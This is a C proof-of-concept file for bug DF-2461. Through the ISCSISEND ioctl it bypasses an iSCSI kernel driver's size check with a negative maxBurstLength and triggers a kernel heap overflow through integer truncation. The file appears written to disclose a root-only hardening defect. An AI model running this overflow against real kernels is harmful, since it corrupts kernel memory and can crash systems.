DF-2461 / df2461.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | /* * df2461.c - Demonstrate the i_prepPDU() integer bugs (DF-2461): * (A) negative maxBurstLength acceptance -> E2BIG safety-net bypass * (B) size_t -> u_int (pq->len) truncation -> undersized kmalloc, then * copyin(ahs, tiny_buf, full_ahs_len) -> kernel heap overflow * * Both via the ISCSISEND ioctl on /dev/iscsiN. * * PRIVILEGE: /dev/iscsi* is UID_ROOT,GID_WHEEL,0600 (iscsi.c:641,762) and * ISCSISEND has no internal priv check. This is a ROOT-ONLY path: root->kernel * corruption is game-over by definition (root can kldload). Hence this is a * hardening / defense-in-depth defect, NOT an unprivileged escalation. * * On GENERIC (INVARIANTS ON) the slab corruption is caught on a subsequent * alloc/free of a corrupted neighbour chunk ("malloc: bad chunk" panic) or, if * the overflow crosses a slab-page boundary, copyin() traps the kernel-side * fault and returns EFAULT (a partial-overflow mitigation). On a noinv kernel * the overflow is silent. * * Build: cc -I/usr/src/sys/dev/disk/iscsi/initiator -o df2461 df2461.c * Run: (mtarget hold 3260 &) ; ./df2461 */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/ioccom.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include "iscsi.h" static int g_nfd; /* open a session and hand a connected socket to the kernel (sets sp->soc, otherwise i_send() returns ENOTCONN). maxBurst defaults to 65536 here. */ static int setup_session(const char *ip, int port) { int fd = open("/dev/iscsi", O_RDWR); int nfd, soc, sid = -1; char dev[32]; struct sockaddr_in sa; if (fd < 0) { perror("open /dev/iscsi"); return -1; } if (ioctl(fd, ISCSISETSES, &sid) < 0) { perror("ISCSISETSES"); return -1; } close(fd); snprintf(dev, sizeof(dev), "/dev/iscsi%d", sid); nfd = open(dev, O_RDWR); if (nfd < 0) { perror(dev); return -1; } soc = socket(AF_INET, SOCK_STREAM, 0); memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(port); inet_pton(AF_INET, ip, &sa.sin_addr); if (connect(soc, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("connect"); return -1; } if (ioctl(nfd, ISCSISETSOC, &soc) < 0) { perror("ISCSISETSOC"); return -1; } return nfd; } static int send_pdu(unsigned ahs_len, unsigned ds_len, unsigned char *ahs) { pdu_t p; int rc; memset(&p, 0, sizeof(p)); p.ipdu.bhs.opcode = 0x00; p.ipdu.bhs.I = 1; p.ipdu.bhs.F = 1; p.ahs = (ahs_t *)ahs; p.ahs_len = ahs_len; p.ahs_size = ahs_len; p.ds = NULL; p.ds_len = ds_len; rc = ioctl(g_nfd, ISCSISEND, &p); return rc; } int main(int argc, char **argv) { const char *ip = argc > 1 ? argv[1] : "127.0.0.1"; int port = argc > 2 ? atoi(argv[2]) : 3260; int churn = argc > 3 ? atoi(argv[3]) : 400; unsigned char *big = malloc(131072); unsigned char *ahs = malloc(65536); int rc; isc_opt_t opt; if (!big || !ahs) { perror("malloc"); return 9; } memset(big, 0x42, 131072); memset(ahs, 0x41, 65536); g_nfd = setup_session(ip, port); if (g_nfd < 0) return 2; printf("[setup] session up, sp->soc set (default maxBurstLength=65536)\n"); /* ---- (A) E2BIG safety net, DEFAULT maxBurstLength ---- */ printf("\n=== (A) default maxBurstLength=65536, oversized ahs_len=70000 ===\n"); rc = send_pdu(70000, 0, big); /* len=48+70000=70048 > 65536 -> expect E2BIG */ printf(" ISCSISEND rc=%d errno=%d (%s) <-- expect E2BIG(7)\n", rc, errno, strerror(errno)); /* ---- (A2) set maxBurstLength = -1, same oversized PDU ---- */ memset(&opt, 0, sizeof(opt)); opt.maxBurstLength = -1; /* accepted: only guard is !=0 */ if (ioctl(g_nfd, ISCSISETOPT, &opt) < 0) { perror("ISCSISETOPT"); return 3; } printf("\n=== (A2) maxBurstLength set to -1 (0x%x), SAME oversized ahs_len=70000 ===\n", (unsigned)-1); rc = send_pdu(70000, 0, big); printf(" ISCSISEND rc=%d errno=%d (%s) <-- E2BIG BYPASSED (reached copyin)\n", rc, errno, strerror(errno)); /* ---- (B) truncation -> undersized kmalloc + full-length copyin = overflow ---- */ printf("\n=== (B) truncation overflow: ahs_len=200 ds_len chosen to wrap len -> 0x60 ===\n"); printf(" size_t len = 48+200+ds_len wraps (mod 2^32) to 96 -> pq->len=96\n"); printf(" -> kmalloc(48) -> kmalloc-64 chunk, copyin(200) = 152-byte overflow\n"); { unsigned ds_len = (unsigned)(0x60u - 48u - 200u); /* wraps len to 0x60 */ int i, hits = 0, eagain = 0; printf(" ds_len=0x%x ; churning %d iterations to surface slab corruption\n", ds_len, churn); for (i = 0; i < churn; i++) { rc = send_pdu(200, ds_len, ahs); if (rc == 0) hits++; if (errno == EAGAIN) eagain++; if (i < 3) printf(" iter %d: rc=%d errno=%d (%s)\n", i, rc, errno, strerror(errno)); fflush(stdout); } printf(" done: %d iters, %d reached copyin (rc=0), %d EAGAIN\n", churn, hits, eagain); } printf("\nstill alive\n"); free(big); free(ahs); return 0; } |